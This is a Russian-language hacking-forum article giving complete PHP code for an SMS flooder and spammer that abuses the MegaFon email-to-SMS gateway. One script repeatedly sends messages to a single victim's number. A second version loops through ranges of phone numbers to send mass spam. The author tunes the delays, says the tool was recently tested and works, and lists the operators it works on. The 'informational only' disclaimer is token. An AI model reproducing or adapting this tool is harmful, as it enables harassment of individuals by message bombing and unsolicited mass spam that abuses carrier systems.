Всем привет. Это моя первая статья на ачате, и написать я её решил про SMS флуд и спам. Поискав на форуме, и найдя или нерабочие линки или нерабочие скрипты я решил сам накатать флудер. Жертвой стал российский МЕГАФОН.Возьмём его как пример.
ФЛУД
Для начала разберёмся, что такое флудер. В моём понимании флудер - это программа или скрипт, которая(ый) отправляет заданному адресату некую информацию в некотором количестве(часто - в очень большом).
И так, что нам нужно для написания такого флудера? Да почти ничего:
хостинг, с поддержкой PHP
мозг + прямые руки
умение юзать гугль
Для флуда мы будем использовать SMS шлюз данного оператора.
SMS-шлюз интерфейс, который позволяет отправлять и получать смс-сообщения без использования мобильного телефона. SMS-сообщения преобразуются в сообщения электронной почты, HTTP-запросы и обратно. Сообщение, отправляемое через подобный шлюз, может быть бесплатным для отправителя; однако возможны технические ограничения, такие, как ограчинение числа отправляемых с одного компьютера сообщений в сутки.
Как понятно из вышеперечисленного продвинутые программеры ничего нового для себя не узнают.
Итак, вы выбрали хостинг, со всем разобрались...
Создаём страницу index.php следующего содержания:
PHP код:
<?php echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>'; echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Megafon flooder from Inlanger</title> <style type="text/css"> body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 } a:link { text-decoration: none; color : #000000} a:active { text-decoration: none; color : #000000 } a:visited { text-decoration: none; color : #000000} a:hover { text-decoration: none; font-size: 9px; color : #404040 } div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;} .a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;} .v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;} </style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'; echo"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>"; echo"</div><div class=\"v\"> <form action=\"sms.php\" method=\"post\"> Номер:<br /> <input name=\"to\" maxlength=\"11\" value=\"7\" /><br /> Текст сообщения:<br /> <input name=\"msg\" /><br /> Количество:<br /> <input name=\"kol\" /><br /> Задержка в секундах:<br /> <input name=\"zad\" /><br /> <input type=\"submit\" value=\"Поехали...\"> </form> <br/><br/> <br/></div></body></html>"; ?>
Как понятно из кода, это будет страница с формой для отправки, ссылающейся на наш скрипт, который будет называться sms.php:
PHP код:
<?php $from="любой почтовый@ящик"; $to=$_POST['to'].'@sms.mgsm.ru'; $msg=$_POST['msg']; for($i = 0; $i < $kol; $i++) { mail("$to", "", "$msg", "From: $from"); sleep($zad); } print" <html> <body> <p align=\"center\"> Your $kol SMS:<br><b> $msg </b> has been sent to $to <br></p> <div align=right>Inlanger</div> </body> </html> "; ?>
Начинаем разбирать код.
Вначале скрипта мы присваиваем переменные.
$from - любой почтовый ящик, от которого будут идти сообщения.
$to - адресат, то есть тот, кого мы бум флудить. Значение переменной берётся с формы index.php и слаживается с @sms.mgsm.ru. Что же такое, этот @sms.mgsm.ru? Это SMS шлюз оператора МЕГФОН.
$msg - переменная, в которой содержится текст, который будет посылаться.
Далее идёт цикл, задача которого и есть отправка нужного количества сообщением с паузой sleep.
Функция mail как раз отвечает за переслку почты на шлюз.
Теперь о функции sleep. Зачем она нужна?
Если мы её не впишем, то сервер не среагирует на нужное количество SMS и вышлет их в количестве 1-2 штук. Вот для того, чтобы сервер успевал реагировать и нужна эта функция. В скобках пишется количество секунд задержки. Эта цифра подбираемся методом перебора различных варинтов. Её значение может зависеть от загруженности шлюза и скорости вашего интернета. Так что тут экспериментируйте. Скрипт проверялся с параметром 7.
Проверяем работу скрипта. Заходим на нашу форму, вводим нужные данные и жмём кнопку...
Теперь стоит учесть, что скрипт выполняется не сразу, а постепенно, ожидая выставленную вами паузу после отпраки каждого ообщения.
СПАМ
Что такое спам? Я понимаю спам как массовую рассылку какой-то информации разным людям в разных целях. Что нам нужно для организации спама
всё, что было перечисленно для флудера
Нужно немного переделать форму отпраки. Приведу только фрагмент:
PHP код:
<form action="sms.php\" method=\"post\"> Номер:<br /> <input name=\"to\" maxlength=\"11\" value=\"7\" /><br /> Текст сообщения:<br /> <input name=\"msg\" /><br /> Диапозон номеров:<br /> ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br /> Задержка в секундах:<br /> <input name=\"zad\" /><br /> <input type=\"submit\" value=\"Поехали...\"> </form>
И немного модифицированный код sms.php:
PHP код:
<?php $from="любой почтовый@ящик"; $to=$i.'@sms.mgsm.ru'; $msg=$_POST['msg']; for($i = $diapstart; $i <= $diapfinish; $i++) { mail("$to", "", "$msg", "From: $from"); sleep($zad); } ...
Думаю, тут всё понятно. Мы двигаемся по заданному диапозону номеров и отсылаем им SMS с заданным интервалом. У данного метода:
[+] работает без базы. на лицо экономия средств и трафика
[+] в отличие от базы - попадаете и в новичков сети, которых в базах(платных и бесплатных) ещё нет
[-] не все отправленые SMS будут доходить по той причине, что таких номеров может не существовать. Но можно подбирать такие диапозоны, чтобы была максимальная вероятность доставки SMS.
Что сказать в заключении...
Данный материал не призывает вас к действию и имеет ознакомительный характер. Автор статьи я, и при копипасте ссылка сюда обязательна.
При небольшом желании и должном умении скрипт модифицируется в спамера или подстраивается под любого другого оператора, с работающим SMS шлюзом.Вот для поиска шлюзов нам и надо было умение гуглить. Для ленивых - большой список шлюзов, и ещё больше . Но это, может быть, будет следующая статья.
P.S. Флудер на днях проверлся. Всё прекрасно работает. Если не работает, тут есть несколько вариантов. Один - кривые руки. Второй - ваш хостинг не держит функцию mail. Третий - оператор изменил шлюз или шлюз перегружен.
P.P.S. Тут будет список операторов, на котором флудер/спамер работает
МЕГФОН
МОТИВ(Екатеринбург)